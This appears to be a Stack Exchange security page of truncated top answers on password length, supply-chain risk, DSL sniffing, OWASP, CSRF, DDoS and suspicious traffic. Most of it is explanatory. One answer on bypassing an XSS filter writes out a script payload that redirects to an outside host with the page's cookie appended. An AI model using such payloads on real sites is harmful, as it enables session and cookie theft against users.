Hot answers tagged

76

They can do a heck of a lot One of the most common misconceptions I hear people say about cyber security is, "Well, hackers have no reason to come after me/this." As long as you have some type of connection to the internet, hackers have plenty of uses for your hardware. It does not matter if you are running a high-end server or a smart ...


39

Can anyone help me determine if this is something I should be concerned about? Someone is trying to exploit a vulnerability on your server. References to cmd.exe, System.Net.WebClient and %SystemRoot% indicates this exploit is intended to a Windows server. It shows your server returning HTTP 404, with 2111 bytes on the response (those last 2 values on your ...


39

Knowing how long a password is doesn't really make much difference to how easy it is to guess or crack it. If the password is something easily guessable or in a dictionary, then the length is irrelevant. If the password is random and you're trying to brute-force (having somehow obtained the hash), then knowing the length makes very little difference, because ...


34

You can't avoid the risk, but you can mitigate it in several ways. Reducing the attack surface. Instead of using lots of tools from lots of different vendors, only use a few ones that you really need. Uninstall anything that you don't need. Less software running on a machine means a lower risk of infection. Separate environments, virtualization, other ...


15

This kind of attacks are why ISO 27002 has chapters 14 and 15 (acquisition and supplier relations). In theory, properly checking the security aspects of systems you source elsewhere should secure you as good as possible. In reality, you are limited by the information available and that's rarely the source code. But let's not kid ourselves, even if you had ...


13

UIs with this behavior do exist. I've seen several that do not offer any visual feedback. I've also seen a few that do random feedback. Is it a security issue? Well, consider how long passwords tend to be. I think 8-15 characters is a reasonable expectation from users (there are users who will break the bank with longer passwords, but we'll skip them for ...


10

In practice, they cannot. They would have to build from scratch their internet browsers, their operational systems, their routers, their computers. It's not possible because companies have to rely on others, and even after researching the security practices of all suppliers and choosing those with solid security, some of them can be compromised. You have ...


10

Can a DSL or cable wire between my modem and the ISP be manipulated in any way at the hardware level to sniff the traffic data? In theory, yes - the data isn't encrypted and the line code isn't a secret either. In practice, that isn't too easy however. You could use off-the-shelf parts to terminate the DSL line, bridge to Ethernet and then create another ...


9

It is the common balance between ease of use and security. The most secure system I can imagine is a switched off system inside a physical safe in secured room in a strong building, with armed guards around. But to access it, you have to physicaly enter the building, go to the secure room, tell the guards why you are there, open the safe, switch the system ...


9

The threat scenario is extremely limited. One would have to be physically present and be able to count the "dots" to get a length. This is more difficult than being able to read the text since there is no pattern for a brain to efficiently parse. Then they would still have to brute force the password. Even if the attacker gains knowledge of an ...


6

In general, no, this provides only extremely limited security gains in exchange for a significant UX downside. Not showing typed characters has two advantages for security: It hides the password length. It limits the viability of very specialized and highly targeted timing attacks on the password entry itself. The first ‘benefit’ is of limited value given ...


5

There are a bunch of misunderstandings here about the OWASP Top 10 and what the different controls mean. The OWASP Top 10 is not a list of vulnerabilities but a list of risks Not all risks mean that there is an exploit that leads to a breach. Therefore, it does not mean that this weakness enables an attack. Nor does it mean that by having sufficient ...


4

.solar is a top level domain (TLD) so I checked the WHOIS for nf5j4k8j4k3o.solar. Property Value Name nf5j4k8j4k3o.solar Created 2021-03-19 09:58:10 UTC Registrar NameCheap, Inc. Your text can be broken up as follows: v3s5f3rs4f3gs3.nf5j4k8j4k3o.solar?G$1?V&?KL?O=$HO?&S?K0?$1T Value Description v3s5f3rs4f3gs3 Sub-domain nf5j4k8j4k3o.solar ...


4

A dictionary attack is usually carried out offline, not against an online website, for exactly the reason you raise. It requires that the password database be compromised and available for offline attacks. A password spray attack is more common for online resources. With a password spray, a small number of passwords are tested against a large number of ...


4

Looks like your router vendor decided to use a domain name (domain.name) which was never intended for this and which is controlled by a third party. There are reserved names for such kind of purpose (like domain.local would be fine) but they did not use it. Since the local domain name is automatically added to any host lookup which is not using a fully ...


4

I see at least 3 possible bypasses: Double quotes The most obvious one, which should work based on your post, is by using double quotes instead of simple quotes: <script>document.location="http://khodrochi.unaux.com/khodrochi.php?x="/*+document.cookie*/;</script> Backticks The second one, which is rarely filtered in my experience, is ...


3

Unless the language itself has its specific pitfalls regarding security it mainly matters how fluent the developers are with the respective language, how much they understand they concepts necessary for security and how good they are capable they are to apply this knowledge into a secure by design software. If there are multiple experts in their respective ...


3

None, generally, unless the target site changes in a way that the attacker can detect. CSRF is generally a blind attack; the attacker gets no more feedback that a victim clicked the link or loaded the page than they would about anybody on the internet clicking a link or loading a page on some site that both had visited. There are some possible exceptions, ...


3

Suppose someone hacks my computer (by any means, say a virus or trojan like RAT), will they be able to know my IP address in real time? This is about dynamic IP addresses. Yes,By "hacking" your computer,i am guessing you mean popping a shell on the system,they would know the public/private IP address of the system when they receive the connect ...


3

"big institutions" have very strict policy, multiple stage development chain, dedicated quality team and canary testing implemented. It's not that easy task for single rogue developer to insert anything nasty. Theoretically possible, but not probable. Moreover, if the attacker is able to insert a DDOS payload, how about some spyware, backdoor, ...


3

So, where exactly is the client's public key used? ... limited to only verification and has no contribution to key exchange and thus encryption? With modern key exchanges both the clients and the servers certificate (and their public keys) are only used for authentication, not for key exchange. With the obsolete RSA key exchange the public key of the server ...


3

Short answer: The first thing is to find out which server is used. This can be done with banner grabbing. When you know the version, you can search for exploits. Most current servers like OpenSSH does not have exploits, which can be used to compromise the serverside. The first thing is to find out who owns the server. This can be done with CVE-2016-20012. ...


2

From the sophistication of the malware code State-sponsored groups are backed by governments which are usually willing to invest a lot more money than an individual or even a group of criminals will invest into developing their cyber arsenal. This means that they will often have more skilled/experienced and a larger number of developers. This larger group ...


2

There exist DRAM ICs where the power keeps bit lines from shorting to each other when powered. This is done by burning power to keep the "clamps" open if you "unplug" them, you will short all of data together, and this costs space. You burn area to have the feature. Generally speaking this is not done in commercial DRAM because area ...


2

The answer is generally no, but technically it is possible. While the other answer here focuses upon a scenario in which Wake-on-LAN is used to turn other machines on, in order to infect them, that doesn't really directly answer the question of whether or not a machine can be infected while it is powered off. First, it's worth clarifying what "powered ...


2

Python is a high-level language; it does not expose memory management to the programmer. Thus, you can't make errors when programming that lead to buffer overflows (unless any of your code is written in e.g. C/C++). However, the cPython interpreter itself could contain buffer overflows since it is written in C, but this doesn't happen terribly often and your ...


2

An attacker is either going to be directly connecting to a host or receiving a connection back from it; in either case, the system must know which IP address it is talking to by necessity. If the victim is behind a NAT, this address will be their public IP address. If an attacker is able to run commands on your machine, they could also determine your ...


2

1.What is other Layer7 DDos attacks, e.g FTP, DNS ? Application layer attacks or layer 7 (L7) DDoS attacks refer to a type of malicious behavior designed to target the “top” layer in the OSI model where common internet requests such as HTTP GET and HTTP POST occur. These layer 7 attacks, in contrast to network layer attacks such as DNS Amplification, are ...


2

You raised some valid points: Dictionary attacks are inefficient - Correct, yet they are used for a reason. Remember, the most basic attack is a shear Brute-Force attack, where the attacker has no knowledge of the credentials in use. Dictionary attacks are therefore more efficient as the attacker have some knowledge of the credentials in use (e.g. password ...


2

Yup, could be an exploit for a JPEG parser, maybe trying to exploit a known vuln in the Android jpeg parser, hoping you'll open the email on your phone. Another possibility is that it's a "beacon" or "tracking pixel" and the act of loading the image from the remote server tells them that your email address is active, the time you accessed ...


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